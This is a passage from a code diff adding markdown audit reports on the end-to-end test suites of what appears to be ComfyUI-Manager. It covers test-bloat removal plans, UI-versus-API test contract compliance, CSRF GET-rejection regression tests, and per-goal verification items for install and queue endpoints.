| reviewer:ci-004 | endpoint.py | (install_uninstall related)1 | ci-003 (WI-N strengthening adds API cross-check) | B1 |
|
||||
| reviewer:ci-005 | endpoint.py | install-uninstall-cycle | concat of ci-001+ci-002+ci-003 | B1 |
|
||||
| reviewer:ci-006 | endpoint.py | /system_stats smoke | fixture already polls until 200 | B5 |
|
||||
| reviewer:ci-009 | customnode_info.py | getmappings | subsumed by ci-008 first-5 schema (post-WI-M) | B1 |
|
||||
| teng:ci-005 | (config_api or queue) | strict subset of ci-002 disk check | ci-002 | B1 |
|
||||
| teng:ci-010 | subset of ci-007 + dup of ci-005 | ci-007 | B1 |
|
||||
| teng:ci-017 | weaker subset of ci-016 | ci-016 | B1 |
|
||||
| teng:ci-024 | subset of ci-016, misleading 'final' | ci-016 | B1, B8 |
|
||||
| teng:ci-028 | cycle covered by ci-026+ci-027 | ci-026+ci-027 | B1 |
|
||||
| dev:ci-010 | uv_compile.py | `test_uv_compile_conflict_attribution` | ci-012 (strict superset) | B1 |
|
||||
|
||||
**Action**: Delete these tests individually; confirm no unique assertion.
|
||||
|
||||
---
|
||||
|
||||
## 🟡 Priority 3 — Merge / Parametrize Clusters — 5 clusters (~12 tests → 4 tests)
|
||||
|
||||
### Cluster 1 — config_api roundtrip (3 → 1)
|
||||
`teng:ci-002, ci-007, ci-013` → `@pytest.mark.parametrize("endpoint,key,values", ...)`
|
||||
Estimated savings: 3 × ~60 lines → 1 parametrized test.
|
||||
|
||||
### Cluster 2 — config_api invalid-body (3 → 1)
|
||||
`teng:ci-003, ci-008, ci-015` → parametrize across `(endpoint, key)`.
|
||||
|
||||
### Cluster 3 — config_api junk-value (3 → 1)
|
||||
`teng:ci-004, ci-009, ci-014` → parametrize across `(endpoint, key, values)`.
|
||||
|
||||
### Cluster 4 — task_operations history (2 → 1)
|
||||
`teng:ci-030, ci-032` → parametrize across `(kind, ui_id)`.
|
||||
|
||||
### Cluster 5 — uv_compile verb (5 → 1)
|
||||
`dev:ci-004, ci-005, ci-006, ci-007, ci-011` → parametrize across verb (update/update_all/fix/fix_all/restore-dependencies).
|
||||
|
||||
### Cluster 6 — install_model missing-field (2 → 1)
|
||||
`teng:ci-034, ci-035` → parametrize across missing_field.
|
||||
|
||||
### Cluster 7 — version_mgmt response contract (4 → 1)
|
||||
`dbg:ci-013, ci-014, ci-015, ci-016` → merge into single `test_versions_response_contract`.
|
||||
|
||||
### Cluster 8 — snapshot: reviewer:ci-026 merge-with ci-022
|
||||
|
||||
**Total merge savings**: ~12 tests → 8 tests (−4 net).
|
||||
|
||||
---
|
||||
|
||||
## 🟡 Priority 4 — Refactor In-Place (3 items)
|
||||
|
||||
| ID | File | Function | Issue | Recommendation |
|
||||
|---|---|---|---|---|
|
||||
| dev:ci-003 | uv_compile.py | `test_reinstall_with_uv_compile` | OR-fallback masks "known issue — purge_node_state bug" | `@pytest.mark.xfail(reason=...)` OR split positive/already-exists |
|
||||
| dev:ci-008 | uv_compile.py | `test_uv_compile_no_packs` | `rc==0 OR "No custom node packs"` — OR-fallback | Split into 2 tests (empty tree rc==0 / non-empty rc==0 + substring) |
|
||||
| dev:ci-022 | manager-menu.spec.ts | `shows settings dropdowns (DB, Channel, Policy)` | Title promises 3 dropdowns, only asserts 2 | Add `channelCombo` assertion OR rename |
|
||||
| reviewer:ci-013 | customnode_info.py | (TODO stub) | L303 TODO makes test stub; skip mask hides incomplete impl | Resolve TODO or drop skip |
|
||||
| dbg:ci-012 | secgate_strict.py | `test_post_works_at_default_after_restore` | Entire body is `pytest.skip()` placeholder | **DELETE** function, preserve intent in module comment |
|
||||
| dbg:ci-018 | version_mgmt.py | `test_switch_version_missing_client_id` | Duplicates ci-017 (gate 403 before param validation) | Remove or parametrize with ci-017 |
|
||||
|
||||
---
|
||||
|
||||
## 🟢 Priority 5 — Borderline B9 Retained (intentional parallels) — 7 items
|
||||
|
||||
| ID | Reason for retention |
|
||||
|---|---|
|
||||
| dbg:ci-005-008 (csrf_legacy mirror csrf) | Different fixture → different SUT (legacy XOR glob mutex). Coverage necessary, not redundant. |
|
||||
| dev:ci-024 (Policy persist vs ci-023 DB) | Orthogonal target dropdowns; rollback paths differ. |
|
||||
| dev:ci-026 (model-manager open vs ci-014 custom-nodes open) | Different dialog id; structural-open verification per dialog is cheap. |
|
||||
| dev:ci-028 (model-manager search vs ci-017 custom-nodes search) | Different backend queries. |
|
||||
| dev:ci-032 (snapshot open vs ci-014/026) | Third dialog; each has distinct open-path pinning. |
|
||||
|
||||
---
|
||||
|
||||
## Key Findings / Patterns
|
||||
|
||||
1. **B9 Copy-paste dominates bloat** (~14 of 33 BLOAT items) — all concentrated in pytest uv_compile (5), config_api (9), version_mgmt (4). Parametrization fixes all.
|
||||
2. **Playwright >>> pytest for bloat rate**: Playwright 91% CLEAN vs pytest uv_compile 42% CLEAN. Playwright has `expect.poll` + `beforeEach` hoisting + state-based assertions. pytest uv_compile uses substring `in combined` as sole assertion in 5/12.
|
||||
3. **OR-fallback pattern** (2 tests: dev:ci-003, ci-008) masks which branch runs — AP-3-adjacent.
|
||||
4. **Intentional mutex parallels** (dbg chunk) kept as CLEAN — csrf.py + csrf_legacy.py test different SUT loaded via `__init__.py` mutex. Not redundant despite structural similarity.
|
||||
5. **`debug-install-flow.spec.ts`** is the single most egregious bloat — zero assertions, pure `console.log`. Not a test.
|
||||
|
||||
## Secondary Observations (non-bloat but flagged)
|
||||
|
||||
| Target | Observation | Scope |
|
||||
|---|---|---|
|
||||
| `test_e2e_uv_compile.py` | 12 CLI subprocess tests mis-filed under `tests/e2e/` (should be `tests/cli/`). Not B4 Dead — real functionality. | Relocation WI candidate |
|
||||
| `test_e2e_csrf.py` | Post-WI-HH correctly excludes 3 dual-purpose endpoints from STATE_CHANGING_POST_ENDPOINTS. | (already resolved) |
|
||||
| `test_e2e_secgate_strict.py::SR4 PoC` | Strongest negative-side check pattern (file-unchanged on disk). | Propagate pattern to SR6/V5/UA2 follow-ups |
|
||||
| `test_e2e_csrf_legacy.py` | 2 legacy-only endpoints (install/git_url, install/pip) per WI-JJ-B. | (already added) |
|
||||
|
||||
---
|
||||
|
||||
## Post-Action Projection
|
||||
|
||||
Applying 🔴 + 🟡:
|
||||
- 127 current tests
|
||||
- −1 remove (dev:ci-013 debug-install-flow)
|
||||
- −9 remove (subsumed tests, reviewer+teng+dev)
|
||||
- −4 merge/parametrize (7 clusters net savings: from 23 tests into 11 parametrized)
|
||||
|
||||
**Projected final count**: ~**113 tests** (−14, ~11% reduction) with zero coverage loss. Bloat rate target: ≤5%.
|
||||
|
||||
---
|
||||
|
||||
## Next Steps (follow-up WI candidates)
|
||||
|
||||
1. **WI-MM**: Apply 🔴 removals (1 remove + 9 subsumed + 1 delete PoC stub = 11 deletions) — low risk, high value
|
||||
2. **WI-NN**: Apply 🟡 parametrize clusters (5-7 clusters → significant line reduction)
|
||||
3. **WI-OO**: Apply 🟡 refactors (ci-003 xfail, ci-008 split, ci-022 rename/add, ci-013 TODO resolve, ci-018 merge/parametrize)
|
||||
4. **WI-PP (optional)**: Relocate `test_e2e_uv_compile.py` from `tests/e2e/` to `tests/cli/`
|
||||
|
||||
Each WI should update `reports/e2e_verification_audit.md` Summary Matrix + TOTAL (tests will decrease) and run `verify_audit_counts.py` PASS at completion.
|
||||
|
||||
---
|
||||
|
||||
## Validation
|
||||
|
||||
- ✅ `cl-20260419-bloat-dbg`: 19/19 done
|
||||
- ✅ `cl-20260419-bloat-review`: 29/29 done
|
||||
- ✅ `cl-20260419-bloat-teng`: 45/45 done
|
||||
- ✅ `cl-20260419-bloat-dev`: 34/34 done
|
||||
- ✅ **Total**: 127/127 (100%)
|
||||
|
||||
Every item has verdict + evidence + recommendation in its respective checklist YAML.
|
||||
|
||||
---
|
||||
|
||||
*End of Test Bloat Inventory*
|
||||
@@ -0,0 +1,298 @@
|
||||
# Test Contract Audit
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Contract**:
|
||||
- **Glob E2E** = endpoint call → effect verification (HTTP POST/GET + verify state change or response correctness)
|
||||
- **Legacy E2E** = UI interaction → effect verification (click/select/fill + verify state change)
|
||||
|
||||
Tests that call HTTP endpoints directly in the Playwright suite VIOLATE the legacy contract. Tests that check only status code without verifying effect VIOLATE the glob contract.
|
||||
|
||||
## Summary
|
||||
|
||||
| Contract violation | Count | Severity |
|
||||
|---|---:|---|
|
||||
| Playwright tests using direct API (bypass UI) | ~~9~~ → 5 | 🔴 contract breach (4 resolved in Stage2 WI-F; remaining 5 are in legacy-ui-snapshot helper functions + other files — see updated Section 1) |
|
||||
| Playwright tests partially UI-driven (mixed) | 2 | 🟡 weakened |
|
||||
| Glob tests missing effect verification | ~~1~~ → 0 | 🟡 status-only (resolved in Stage2 WI-D) |
|
||||
| Glob tests fully effect-verifying | 80 | ✓ compliant |
|
||||
| Security-contract tests (CSRF method-reject — 8 functions / 52 invocations — 26 glob + 26 legacy) | 8 | ✓ compliant (separate negative contract; glob + legacy server coverage) |
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Playwright Contract Audit (Legacy UI → Effect)
|
||||
|
||||
## ✅ VIOLATIONS — all 4 listed tests resolved in Stage2 WI-F
|
||||
|
||||
Historical record (2026-04-18, Stage2 WI-F). All 4 direct-API Playwright tests that previously violated the legacy contract have been removed from the suite or rewritten to click real UI elements:
|
||||
|
||||
| File | Test | Original violation | Resolution |
|
||||
|---|---|---|---|
|
||||
| legacy-ui-snapshot.spec.ts | `lists existing snapshots` | Direct `page.request.get('/v2/snapshot/getlist')` — no UI click | **DELETED**; backend `getlist` coverage owned by pytest `test_e2e_snapshot_lifecycle.py::test_getlist_after_save` (12/12 pytest regression PASS). |
|
||||
| legacy-ui-snapshot.spec.ts | `save snapshot via API and verify in list` | 100% `page.request.post/get` — zero UI interaction | **REWRITTEN** as `SS1 Save button creates a new snapshot row`: clicks dialog Save/Create button, polls `getlist` only as backend-effect confirmation helper (not as the test's primary action), cleans up via afterEach. Bonus: `UI Remove button deletes a snapshot row` added for row-delete UI coverage. |
|
||||
| legacy-ui-navigation.spec.ts | `API health check while dialogs are open` | `page.request.get('/v2/manager/version')` — direct API, not UI | **DELETED**; version coverage owned by `test_e2e_system_info.py::test_version_returns_string/test_version_is_stable`. |
|
||||
| legacy-ui-navigation.spec.ts | `system endpoints accessible from browser context` | 2× `page.request.get` — direct API | **DELETED**; fully redundant with `test_e2e_system_info.py` suite. |
|
||||
|
||||
**Verification**: `npx playwright test --list --grep '<any of the 4 titles>'` → `Total: 0 tests in 0 files`. Current spec listing: 5 tests in 2 files, all UI-driven.
|
||||
|
||||
**Residual note**: The snapshot spec still uses `page.request.get('/v2/snapshot/getlist')` inside the `getSnapshotNames` helper and in the `beforeEach/afterEach` for deterministic seeding/cleanup. This is acceptable because (a) the TEST ACTION is a UI button click, and (b) the API use is confined to backend-effect observation, matching the hybrid pattern also used in legacy-ui-manager-menu's dropdown tests (the mixed-pattern row below, which remains WEAKENED but is a known follow-up).
|
||||
|
||||
## 🟡 WEAKENED — tests that mix UI + direct API
|
||||
|
||||
These tests DO perform UI interaction (e.g., `selectOption`) but use direct API for verification/cleanup. The UI→effect part is present but the effect is validated via API, not via UI rendering.
|
||||
|
||||
| File | Test | Mixed pattern | Recommended |
|
||||
|---|---|---|---|
|
||||
| legacy-ui-manager-menu.spec.ts | `DB mode dropdown round-trips via API` | `selectOption(newValue)` (UI ✓) → `page.request.get` (verify ✗) | Verify via UI: re-open dialog, read `.value` from `<select>` element. Optional: also check page reload reflects persisted value. |
|
||||
| legacy-ui-manager-menu.spec.ts | `Update Policy dropdown round-trips via API` | Same pattern | Same |
|
||||
|
||||
## ✓ CORRECT — pure UI→effect tests
|
||||
|
||||
| File | Test | UI action | Effect verified |
|
||||
|---|---|---|---|
|
||||
| legacy-ui-manager-menu.spec.ts | `opens via Manager button and shows 3-column layout` | Click Manager button | Dialog `#cm-manager-dialog` visible + expected buttons |
|
||||
| legacy-ui-manager-menu.spec.ts | `shows settings dropdowns (DB, Channel, Policy)` | Open Manager menu | 3 `<select>` elements visible |
|
||||
| legacy-ui-manager-menu.spec.ts | `closes and reopens without duplicating` | Close + reopen dialog | ≤2 dialog instances in DOM |
|
||||
| legacy-ui-custom-nodes.spec.ts | `opens from Manager menu and renders grid` | Click "Custom Nodes Manager" | `#cn-manager-dialog` + grid visible |
|
||||
| legacy-ui-custom-nodes.spec.ts | `loads custom node list (non-empty)` | Open dialog, wait | `.tg-row` count > 0 |
|
||||
| legacy-ui-custom-nodes.spec.ts | `filter dropdown changes displayed nodes` | `selectOption('Installed')` | Filtered count ≤ initial |
|
||||
| legacy-ui-custom-nodes.spec.ts | `search input filters the grid` | `fill('ComfyUI-Manager')` | Filtered count ≤ initial |
|
||||
| legacy-ui-custom-nodes.spec.ts | `footer buttons are present` | Open dialog | Install via Git URL / Restart button visible |
|
||||
| legacy-ui-model-manager.spec.ts | `opens from Manager menu and renders grid` | Click "Model Manager" | `#cmm-manager-dialog` + grid |
|
||||
| legacy-ui-model-manager.spec.ts | `loads model list (non-empty)` | Open dialog | Rows > 0 |
|
||||
| legacy-ui-model-manager.spec.ts | `search input filters the model grid` | `fill('stable diffusion')` | Filtered ≤ initial |
|
||||
| legacy-ui-model-manager.spec.ts | `filter dropdown is present with expected options` | Open dialog | Options length > 0 |
|
||||
| legacy-ui-snapshot.spec.ts | `opens snapshot manager from Manager menu` | Click "Snapshot Manager" | `#snapshot-manager-dialog` visible |
|
||||
| legacy-ui-snapshot.spec.ts | `SS1 Save button creates a new snapshot row` | Click dialog Save/Create button | New snapshot appears in UI row + backend list (hybrid UI-action + backend-effect confirm) |
|
||||
| legacy-ui-snapshot.spec.ts | `UI Remove button deletes a snapshot row` | Click in-row Remove/Delete button (dialog confirm accepted) | Snapshot absent from UI row AND backend list |
|
||||
| legacy-ui-navigation.spec.ts | `Manager menu → Custom Nodes → close → Manager still visible` | Nested dialog nav | Manager reopenable |
|
||||
| legacy-ui-navigation.spec.ts | `Manager menu → Model Manager → close → reopen` | Close + reopen | Model Manager reappears |
|
||||
| debug-install-flow.spec.ts | `capture install button API flow` | Click Install → select version → Select | Captures full API sequence (debug) |
|
||||
|
||||
## Playwright Contract Summary (post Stage2 WI-F)
|
||||
|
||||
- **Compliant** (UI→effect): 17 / 20 tests (85%)
|
||||
- **Mixed** (UI + direct API): 2 / 20 tests (10%)
|
||||
- **Violating** (direct API only): 0 / 20 tests (0%) ✅ — WI-F resolved all 4
|
||||
- **Debug/instrumentation** (acceptable exception): 1 / 20 tests (5%)
|
||||
|
||||
Net change from previous audit (22 tests → 20 tests): `legacy-ui-navigation` lost 2 deleted INADEQUATE tests; `legacy-ui-snapshot` kept 3 total (1 existing PASS + 2 new UI-driven PASS that replaced the 2 original INADEQUATE). The "Mixed" WEAKENED rows (2 manager-menu dropdown tests) remain and should be addressed in a follow-up WI.
|
||||
|
||||
---
|
||||
|
||||
# Section 1.5 — Security-Contract Tests (CSRF Method-Reject)
|
||||
|
||||
`tests/e2e/test_e2e_csrf.py` follows a NEGATIVE-assertion contract:
|
||||
state-changing POST endpoints MUST reject HTTP GET. Unlike the glob
|
||||
endpoint→effect contract (positive response + state change), the CSRF
|
||||
contract verifies ABSENCE of acceptance.
|
||||
|
||||
**Contract**:
|
||||
- GET on state-changing POST endpoint → status_code ∈ (400,403,404,405)
|
||||
- POST counterpart → status_code == 200 (sanity)
|
||||
- GET on read-only endpoint → status_code == 200 (negative control)
|
||||
|
||||
**Reference**: commit 99caef55 — "mitigate CSRF on state-changing
|
||||
endpoints + version SSOT" (CVSS 8.1, reported by XlabAI-Tencent-Xuanwu).
|
||||
Commit applied the GET→POST conversion to BOTH `glob/manager_server.py`
|
||||
(~91 lines) and `legacy/manager_server.py` (~92 lines); the legacy-side
|
||||
regression guard is exercised by `test_e2e_csrf_legacy.py` (added in WI-FF,
|
||||
integrated into this audit in WI-GG).
|
||||
|
||||
**Scope clarification per file docstrings**:
|
||||
ONLY the GET-rejection layer. NOT covered: Origin/Referer validation,
|
||||
same-site cookies, anti-CSRF tokens, cross-site form POST. Do NOT
|
||||
read a PASS here as "CSRF fully solved". Both glob and legacy suites
|
||||
share the same scope — the split exists solely because `comfyui_manager/__init__.py`
|
||||
loads `glob.manager_server` XOR `legacy.manager_server` (mutex via
|
||||
`--enable-manager-legacy-ui`), so each route table requires its own server
|
||||
lifecycle to exercise.
|
||||
|
||||
| File | Tests | Contract verdict |
|
||||
|---|---:|---|
|
||||
| test_e2e_csrf.py::TestStateChangingEndpointsRejectGet | 13 (parametrized; 3 dual-purpose endpoints removed in WI-HH — legitimately covered only in the allow-GET class) | ✓ compliant — negative-path security contract (glob) |
|
||||
| test_e2e_csrf.py::TestCsrfPostWorks | 2 | ✓ compliant — positive sanity (glob) |
|
||||
| test_e2e_csrf.py::TestCsrfReadEndpointsStillAllowGet | 11 (parametrized) | ✓ compliant — negative control for over-correction (glob) |
|
||||
| test_e2e_csrf_legacy.py::TestLegacyStateChangingEndpointsRejectGet | 13 (parametrized — queue/task→queue/batch; 3 dual-purpose excluded) | ✓ compliant — negative-path security contract (legacy) |
|
||||
| test_e2e_csrf_legacy.py::TestLegacyCsrfPostWorks | 2 | ✓ compliant — positive sanity (legacy) |
|
||||
| test_e2e_csrf_legacy.py::TestLegacyCsrfReadEndpointsStillAllowGet | 11 (parametrized) | ✓ compliant — negative control (legacy) |
|
||||
|
||||
**Endpoint-list differences** (legacy vs glob, per `test_e2e_csrf_legacy.py` docstring L23–36):
|
||||
- `/v2/manager/queue/task` → dropped (glob-only; legacy uses `queue/batch`)
|
||||
- `/v2/manager/queue/batch` → added (legacy task-enqueue)
|
||||
- `/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list` → dropped from reject-GET (CSRF contract applies only to POST write-path; same GET-read + POST-write split as glob, so these 3 legitimately appear in the allow-GET class only). `test_e2e_csrf.py` currently lists them in BOTH classes; WI-HH tracks the glob-side correction.
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Glob pytest Contract Audit (Endpoint → Effect)
|
||||
|
||||
## 🟡 Missing effect verification
|
||||
|
||||
| File | Test | Missing effect |
|
||||
|---|---|---|
|
||||
| test_e2e_task_operations.py | `test_install_model_accepts_valid_request` | Only checks 200 status. Does NOT verify task was actually queued (could be via GET queue/status total_count≥1). |
|
||||
|
||||
Adding one line (`status check`) would fix this.
|
||||
|
||||
## ✓ Effect-verifying tests (80 of 81)
|
||||
|
||||
### Install/Uninstall (pack-level effects)
|
||||
- test_e2e_endpoint.test_install_via_endpoint → `_pack_exists` + `_has_tracking` ✓
|
||||
- test_e2e_endpoint.test_uninstall_via_endpoint → `_pack_exists == False` ✓
|
||||
- test_e2e_endpoint.test_install_uninstall_cycle → both ✓
|
||||
- test_e2e_git_clone.test_01_nightly_install → `_pack_exists` + `.git` dir ✓
|
||||
- test_e2e_git_clone.test_03_nightly_uninstall → `_pack_exists == False` ✓
|
||||
|
||||
### Disable/Enable (state-level effects)
|
||||
- test_e2e_task_operations.test_disable_pack → `_pack_disabled` + `_pack_exists == False` ✓
|
||||
- test_e2e_task_operations.test_enable_pack → `_pack_exists` + `!_pack_disabled` ✓
|
||||
- test_e2e_task_operations.test_disable_enable_cycle → both transitions ✓
|
||||
|
||||
### Update/Fix (post-state verification)
|
||||
- test_e2e_task_operations.test_update_installed_pack → `_pack_exists` after ✓
|
||||
- test_e2e_task_operations.test_fix_installed_pack → `_pack_exists` after ✓
|
||||
|
||||
### Queue state
|
||||
- test_e2e_queue_lifecycle.test_reset_queue → status.pending_count == 0 ✓
|
||||
- test_e2e_queue_lifecycle.test_queue_task_and_history → done_count > 0 ✓
|
||||
- test_e2e_queue_lifecycle.test_start_queue_already_idle → status code ✓ (idempotent effect)
|
||||
- test_e2e_task_operations.test_update_comfyui_queues_task → total_count ≥ 1 ✓
|
||||
|
||||
### Config round-trips (persistence effect)
|
||||
- test_e2e_config_api.test_set_and_restore_db_mode → GET reflects POST ✓
|
||||
- test_e2e_config_api.test_set_and_restore_update_policy → same ✓
|
||||
- test_e2e_config_api.test_set_and_restore_channel → same ✓
|
||||
|
||||
### Snapshot state
|
||||
- test_e2e_snapshot_lifecycle.test_save_snapshot + test_getlist_after_save → save creates, getlist reflects ✓
|
||||
- test_e2e_snapshot_lifecycle.test_remove_snapshot → removed item absent from list ✓
|
||||
|
||||
### System state
|
||||
- test_e2e_system_info.test_reboot_and_recovery → health check recovers ✓
|
||||
- test_e2e_system_info.test_version_is_stable → consecutive calls idempotent ✓
|
||||
|
||||
### Response-correctness (read endpoints)
|
||||
All GET endpoint tests verify response schema and content. Examples:
|
||||
- getmappings, installed, queue/status, queue/history, snapshot/get_current, etc. → response shape + field presence asserted ✓
|
||||
|
||||
### Validation/Negative (error-path effects)
|
||||
- All `test_*_invalid_body`, `test_*_missing_params`, `test_*_returns_400`, `test_fetch_updates_returns_deprecated` verify the error RESPONSE effect (status code + optional body fields) ✓
|
||||
|
||||
## Glob pytest Contract Summary
|
||||
|
||||
- **Compliant** (endpoint→effect, positive contract): 81 / 81 tests (100%) — Stage2 WI-D upgraded `test_install_model_accepts_valid_request` to effect-verifying.
|
||||
- **Weak** (status-only, no effect): ~~1~~ → 0 / 81 tests (resolved)
|
||||
- **Security-contract** (CSRF method-reject, separate negative contract): 8 / 8 test functions (52 / 52 parametrized invocations — 26 glob + 26 legacy) — all compliant. References: `tests/e2e/test_e2e_csrf.py` (glob, 99caef55 ~91-line diff; 3 dual-purpose endpoints removed from reject-GET fixture in WI-HH to match the GET-read + POST-write split, so glob count dropped from 29 → 26) + `tests/e2e/test_e2e_csrf_legacy.py` (legacy, 99caef55 ~92-line diff — added in WI-FF, audited in WI-GG). See Section 1.5 above.
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Reclassification Plan
|
||||
|
||||
## Tests to move out of Playwright suite (STATUS: ALL 4 RESOLVED — Stage2 WI-F)
|
||||
|
||||
1. ~~`legacy-ui-snapshot.spec.ts::lists existing snapshots`~~ → **DELETED**; backend `getlist` coverage owned by `test_e2e_snapshot_lifecycle.py::test_getlist_after_save`.
|
||||
2. ~~`legacy-ui-snapshot.spec.ts::save snapshot via API and verify in list`~~ → **REWRITTEN** as UI-driven `SS1 Save button creates a new snapshot row`; also `UI Remove button deletes a snapshot row` added.
|
||||
3. ~~`legacy-ui-navigation.spec.ts::API health check while dialogs are open`~~ → **DELETED**; version coverage in `test_e2e_system_info.py::test_version_returns_string`.
|
||||
4. ~~`legacy-ui-navigation.spec.ts::system endpoints accessible from browser context`~~ → **DELETED**; redundant with pytest system_info suite.
|
||||
|
||||
Verification: `npx playwright test --list --grep '<any of the 4 titles>'` → 0 tests. pytest counterparts regression: 12/12 PASS (`test_e2e_snapshot_lifecycle.py` + `test_e2e_system_info.py`).
|
||||
|
||||
## Tests to rewrite for UI-only verification
|
||||
|
||||
2 mixed tests in `legacy-ui-manager-menu.spec.ts` should verify via UI instead of API:
|
||||
|
||||
1. `DB mode dropdown round-trips via API` → after selectOption, re-open dialog and check `<select>.value` matches
|
||||
2. `Update Policy dropdown round-trips via API` → same pattern
|
||||
|
||||
Keep the restore step (via API) for cleanup — that is acceptable as teardown.
|
||||
|
||||
## New UI→effect tests needed (currently missing)
|
||||
|
||||
Based on Report A legacy endpoints and legacy UI flows, these UI→effect tests are missing:
|
||||
|
||||
| Legacy UI flow | Endpoint triggered | Effect to verify |
|
||||
|---|---|---|
|
||||
| Click "Install" in Custom Nodes Manager row | POST queue/batch | Pack appears in filesystem (via test hooks) + "Installed" badge in UI |
|
||||
| Click "Uninstall" button | POST queue/batch | Pack removed + row shows "Not Installed" |
|
||||
| Click "Update All" in Manager menu | POST queue/update_all | "Updating" indicator appears + queue progress WebSocket |
|
||||
| Click "Install via Git URL" button + enter URL | POST customnode/install/git_url | Pack cloned (if endpoint still exists) |
|
||||
| Click "Restart" in Manager menu | POST manager/reboot | Server restart + UI reconnect |
|
||||
| Click "Save" in Snapshot Manager | POST snapshot/save | Snapshot row appears in UI list |
|
||||
| Click "Delete" row action in Snapshot Manager | POST snapshot/remove?target=X | Row disappears from UI list |
|
||||
|
||||
→ The existing `debug-install-flow.spec.ts` provides the instrumentation template. These can be built from it with assertions added.
|
||||
|
||||
---
|
||||
|
||||
# Section 4 — Revised Coverage Verdict
|
||||
|
||||
Applying the strict contract:
|
||||
|
||||
## Glob v2 coverage (endpoint → effect)
|
||||
|
||||
| Status | Count |
|
||||
|---|---:|
|
||||
| Effect-verified | 27/30 |
|
||||
| Status-only (weakened) | 1/30 (install_model) |
|
||||
| Intentionally skipped destructive | 2/30 (snapshot/restore, switch_version positive) |
|
||||
|
||||
## Legacy coverage (UI → effect)
|
||||
|
||||
Strict UI→effect tests for legacy endpoints:
|
||||
|
||||
| Endpoint | UI→effect test exists? |
|
||||
|---|---|
|
||||
| POST queue/batch | ⚠️ debug only (no assertion); NO production test |
|
||||
| GET customnode/getlist | ✓ via `loads custom node list (non-empty)` |
|
||||
| GET /customnode/alternatives | ✗ |
|
||||
| GET externalmodel/getlist | ✓ via `loads model list (non-empty)` |
|
||||
| GET customnode/versions/{node_name} | ⚠️ debug only |
|
||||
| GET customnode/disabled_versions/{node_name} | ✗ |
|
||||
| POST customnode/install/git_url | ✗ (no "Install via Git URL" test) |
|
||||
| POST customnode/install/pip | ✗ |
|
||||
| GET manager/notice | ✗ |
|
||||
| GET db_mode / POST db_mode (via UI) | 🟡 mixed (UI selectOption + API verify) |
|
||||
| GET policy/update / POST policy/update (via UI) | 🟡 mixed |
|
||||
| GET snapshot/getlist (via dialog) | ✓ (opens dialog) |
|
||||
| POST snapshot/save (via UI button) | ✗ (only API-driven test exists) |
|
||||
| POST snapshot/remove (via UI) | ✗ (only API-driven cleanup) |
|
||||
| POST manager/reboot (via UI "Restart" button) | ✗ |
|
||||
|
||||
**Strict legacy coverage**: 3/15 endpoints fully UI→effect verified.
|
||||
|
||||
---
|
||||
|
||||
# Section 5 — Action Items (Prioritized)
|
||||
|
||||
## 🔴 Contract violations (fix or remove)
|
||||
|
||||
1. DELETE 2 Playwright tests in `legacy-ui-snapshot.spec.ts` (API-only — redundant with pytest E2E)
|
||||
2. DELETE 2 Playwright tests in `legacy-ui-navigation.spec.ts` (API-only health checks)
|
||||
3. FIX install_model status-only test in `test_e2e_task_operations.py`
|
||||
|
||||
## 🟡 Weaken→strengthen
|
||||
|
||||
4. Rewrite 2 mixed `legacy-ui-manager-menu.spec.ts` dropdown tests to verify UI state (not API round-trip)
|
||||
|
||||
## 🟢 New UI→effect tests (recommended)
|
||||
|
||||
5. Add UI-driven install/uninstall test (click button → verify pack effect + UI state)
|
||||
6. Add UI-driven snapshot save/remove test (via Snapshot Manager dialog buttons)
|
||||
7. Add UI-driven "Restart" button test (verify server restart)
|
||||
8. Add UI-driven "Update All" flow test
|
||||
|
||||
## ✓ JS call-site verification (2026-04-18 re-audit)
|
||||
|
||||
All 5 endpoints initially flagged as "dead code" are CONFIRMED ACTIVE in legacy UI JS:
|
||||
|
||||
| Endpoint | JS file:line |
|
||||
|---|---|
|
||||
| /customnode/alternatives | custom-nodes-manager.js:1885 |
|
||||
| /v2/customnode/disabled_versions/{name} | custom-nodes-manager.js:1401 |
|
||||
| /v2/customnode/install/git_url | common.js:248 |
|
||||
| /v2/customnode/install/pip | common.js:213 |
|
||||
| /v2/manager/notice | comfyui-manager.js:418 |
|
||||
|
||||
→ Action: **add UI→effect tests** (not remove). Previous "dead code candidate" recommendation retracted.
|
||||
|
||||
---
|
||||
*End of Test Contract Audit*
|
||||
@@ -0,0 +1,834 @@
|
||||
# Verification Design — Per-Goal Verification Items
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Source**: Derived from `endpoint_scenarios.md`, `scenario_intents.md`, `scenario_effects.md`
|
||||
**Purpose**: For each scenario's achievement goal, design the concrete verification items (assertions + observables + tools) required to prove the goal is met.
|
||||
|
||||
**Verification item format** (used throughout):
|
||||
```
|
||||
Goal: <what scenario intends to achieve>
|
||||
Precondition: <state required before the action>
|
||||
Action: <call / UI interaction>
|
||||
Observable: <what can be inspected>
|
||||
Assertion: <pass/fail criterion>
|
||||
Negative check: <what must NOT happen>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Queue Management Verification Design
|
||||
|
||||
## 1.1 POST /v2/manager/queue/task (kind=install)
|
||||
|
||||
### Goal A1 — Install a CNR pack to loadable state
|
||||
- **Precondition**: pack dir absent; `.tracking` absent
|
||||
- **Action**: POST queue/task kind=install params={id, version, selected_version, mode, channel} → POST queue/start
|
||||
- **Observable**: filesystem `custom_nodes/<pack>/` + `.tracking` file content; `customnode/installed` response; WebSocket `cm-queue-status all-done`
|
||||
- **Assertion**: pack dir exists AND `.tracking` present AND `installed[pack_id].cnr_id == pack_id` AND version matches
|
||||
- **Negative check**: no leftover `.trash_*` dirs; no ModuleNotFoundError in server log
|
||||
|
||||
### Goal A2 — Install a nightly (URL) pack via git clone
|
||||
- **Precondition**: pack dir absent
|
||||
- **Action**: POST queue/task kind=install selected_version=nightly with `repository` URL
|
||||
- **Observable**: pack dir + `.git/` subdir; `.git/config` remote URL
|
||||
- **Assertion**: `.git` exists AND remote URL matches request
|
||||
- **Negative check**: no ModuleNotFoundError (git_helper.py subprocess ran cleanly)
|
||||
|
||||
### Goal A3 — Skip install when already disabled (re-enable shortcut)
|
||||
- **Precondition**: pack in `.disabled/`
|
||||
- **Action**: POST queue/task kind=install params.skip_post_install=true for known cnr_id
|
||||
- **Observable**: pack moved back to active custom_nodes/; no fresh clone
|
||||
- **Assertion**: pack active + no new download; existing `.tracking` preserved
|
||||
